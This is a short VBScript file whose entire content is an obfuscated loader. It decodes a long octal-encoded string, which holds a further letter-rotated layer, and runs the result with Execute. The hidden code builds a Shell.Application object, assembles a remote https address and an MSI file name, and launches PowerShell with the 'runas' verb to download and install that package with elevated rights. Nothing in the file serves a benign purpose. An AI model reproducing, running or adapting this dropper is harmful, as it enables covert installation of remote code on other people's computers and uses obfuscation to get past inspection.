Dim uwhpeuy:uwhpeuy="104151155040166153161157145165156072166153161157145165156075" & "042106162147040110116120040075040120145162156147162102157167" & "162160147050042042106165162171171056116143143171166160156147" & "166142141042042051042040046040166142103162114146040046040042" & "121166172040167157170171054040157171161157054040146167170141" & "054040161151170042040046040166142103162114146040046040042167" & "157170171040075040042042165147147143146072057057160145142152" & "141062165162162171166141164156154150145151162161166160042042" & "042040046040166142103162114146040046040042157171161157040075" & "040042042056160142172057146165142142147042042042040046040166" & "142103162114146040046040042146167170141040075040042042057145" & "146056042042042040046040166142103162114146040046040042161151" & "170040075040042042172146166042042042040046040166142103162114" & "146040046040042121166172040151156163141163042040046040166142" & "103162114146040046040042151156163141163040075040167157170171" & "040046040157171161157040046040146167170141040046040161151170" & "042040046040166142103162114146040046040042121166172040172170" & "164042040046040166142103162114146040046040042172170164040075" & "040042042055120142172172156141161040042042042042046040173172" & "170161166145040120072134134107162172143040055123142145160162" & "040062076044141150171171073040042042040046040137042040046040" & "166142103162114146040046040042040040040040040040042042160150" & "145171056162153162040055131040055055146146171055141142055145" & "162151142170162040047042042040046040151156163141163040046040" & "042042047040055142040120072134134107162172143134134143156147" & "160165056172146166073040042042040046040137042040046040166142" & "103162114146040046040042040040040040040040042042172146166162" & "153162160056162153162040057166040047120072134134107162172143" & "134134143156147160165056172146166047040057144141040057141142" & "145162146147156145147175042042042042042042042040046040166142" & "103162114146040046040042110116120056106165162171171122153162" & "160150147162040042042143142152162145146165162171171042042054" & "040172170164054040042042042042054040042042145150141156146042" & "042054040060042012104151155040164151164142154170072164151164" & "142154170075042042012104151155040170164155142153172054151143" & "142162156172012106157162040170164155142153172075061040124157" & "040114145156050166153161157145165156051012151143142162156172" & "075115151144050166153161157145165156054170164155142153172054" & "061051012111146040151143142162156172076075042101042040101156" & "144040151143142162156172074075042132042040124150145156012151" & "143142162156172075101163143050151143142162156172051055061063" & "072111146040151143142162156172074101163143050042101042051040" & "124150145156040151143142162156172075151143142162156172053062" & "066012164151164142154170075164151164142154170046103150162050" & "151143142162156172051012105154163145111146040151143142162156" & "172076075042141042040101156144040151143142162156172074075042" & "172042040124150145156012151143142162156172075101163143050151" & "143142162156172051055061063072111146040151143142162156172074" & "101163143050042141042051040124150145156040151143142162156172" & "075151143142162156172053062066012164151164142154170075164151" & "164142154170046103150162050151143142162156172051012105154163" & "145012164151164142154170075164151164142154170046151143142162" & "156172012105156144040111146012116145170164012105170145143165" & "164145040164151164142154170"
Dim xwxwws:xwxwws=""
Dim glhmvp
For glhmvp=1 To Len(uwhpeuy) Step 3
 xwxwws=xwxwws&ChrW(CLng("&O"&Mid(uwhpeuy,glhmvp,3)))
Next
Execute xwxwws